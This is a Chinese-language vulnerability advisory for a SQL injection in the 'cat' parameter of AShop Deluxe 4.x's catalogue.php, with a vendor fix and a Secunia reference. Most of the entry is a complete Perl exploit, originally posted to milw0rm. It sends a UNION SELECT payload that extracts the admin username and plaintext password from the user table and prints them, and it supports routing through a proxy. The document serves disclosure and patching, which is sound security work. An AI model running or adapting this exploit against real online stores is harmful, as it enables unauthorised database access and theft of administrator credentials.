BUGTRAQ ID:
CNCAN ID：CNCAN-2008070301
 
漏洞消息时间:2008-07-02
 
漏洞起因
输入验证错误
 
影响系统
AShop Deluxe 4.x
 
不受影响系统
 
危害
远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。
 
攻击所需条件
攻击者必须访问AShop Deluxe。
 
漏洞信息
AShop Deluxe是一款基于PHP的WEB应用程序。
AShop Deluxe不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。
问题由于脚本对用户提交给'cat'参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。
 
测试方法
#usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;
use URI::Escape;
#---------------------------------------------------------------------------------------------------------------------------------------------
# [x] AShop Deluxe 4.x Remote SQL inJection Exploit
# [x] Ditemukan Oleh  : n0c0py - a.k.a 5iR. 4b03D
# [x] Pada Tanggal  : 27 juni 2008
# [x] Vendor   : http://www.ashopsoftware.com
# [x] Laporkan pada vendor : 28 Juni 2008 - PatCh ada pada veNdoR
# [x] Dork                   : -
# [x] Deskripsi   : AShop Deluxe shopping cart software automates the processing of
#      online orders and payments. It is a shopping cart plus an array of
#      specialized tools to support various types of products and selling styles.
#      The system automates redundant tasks, organizes data, and simplifies
#      the daily operations of an online store.
#----------------------------------------------------------------------------------------------------------------------------------------------================================================================================== Konsep =>
# => http://victim.com/ashop/catalogue.php?cat=-99/**/union/**/select/**/1,0x76756C6E657261626C65/*
# => Versi dibawahnya juga memungkinkan memiliki kutu yang sama
# => password tidak ter-encode membuat eksploitasi semakin mudah
# [Catatan]
# n0c0py tidak bertanggung jawab atas penyalahgunaan exploit ini. Greetz:
# { k1tk4t, Autonux, keboaja, k0il, G1 }
# yogyafree => yadoy666, Xshadow, Jack, odod, ray16, indounderground, shadow angel dan segenap Tim
# newhack => fl3xu5, opt1|c, L4in
# masyarakat hacking indonesia [ yogyafree.net | newhack.org | mainhack.com | echo.or.id | kecoak-elektronik.net ]
# ===================================================================================

#
 if (@ARGV < 1){
  
   print"\nAshop Deluxe 4.x (catalogue.php)";
   print"\nRemote SQL Injection Exploit       ";
   print"\ncoded by n0c0py                   ";
   print"\n";
   print"\n[!] Penggunaan : perl $0 [Host] [Path] <Options>";
   print"\n[!] Contoh     : perl $0 127.0.0.1 /ashop       ";
   print"\n[!] Pilihan    :";
   print"\n                -p [ip:port]  Proxy support     ";
   print"\n";
exit;
}
 
print "[+] melakukan eksploitasi...\n";
 
eksploitasi();
 
print "\n[+] Bravo!! :D";
print "\n[+] Eksploitasi Selesai Boss!! :D\n";
 
sub eksploitasi
 
{
  my $host     = $ARGV[0];
  my $path     = $ARGV[1];
  my %options = ();
  GetOptions(\%options, "p=s");
  my $url = "http://".$host.$path."/catalogue.php";
  my $sploit = "?cat=-99/**/union/**/select/**/1,concat(0x3a3a3a,username,0x3a3a,password,0x3a3a3a)/**/from/**/user/*";
  my $exploit= $url.$sploit;
  my $ua = LWP::UserAgent->new();
  my $res = "";
  my $content="";
  my $regex = "";
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
#[------------------------------]
#   Apakah file eksis?
#[------------------------------]
$res = $ua->get($url);
  if(!$res->is_success)
  {
    print("[+] Gagal! file tidak ditemukan!\n");
    print $res->status_line();
  }
#[-------------------------]
#      Eksploitasi
#[-------------------------]
  $res = $ua->get($exploit);
  $content = $res->content;
if ($content =~ /:::(.+):::/)
{
$regex=$1;
($pengguna,$password)= split('::',$regex);
printf " [x]nama admin = $pengguna \n [x]password admin = $password\n";
}
else { die "Gagal mengeksploitasi :p \n";
}
 
}
# milw0rm.com [2008-06-30]
 
厂商解决方案
升级到AShop Deluxe 4.8.5:
http://www.ashopsoftware.com/
 
漏洞提供者
n0c0py a.k.a. 5iR. 4b03D
 
漏洞消息链接
http://secunia.com/advisories/30902/
 
漏洞消息标题
AShop Deluxe "cat" SQL Injection Vulnerability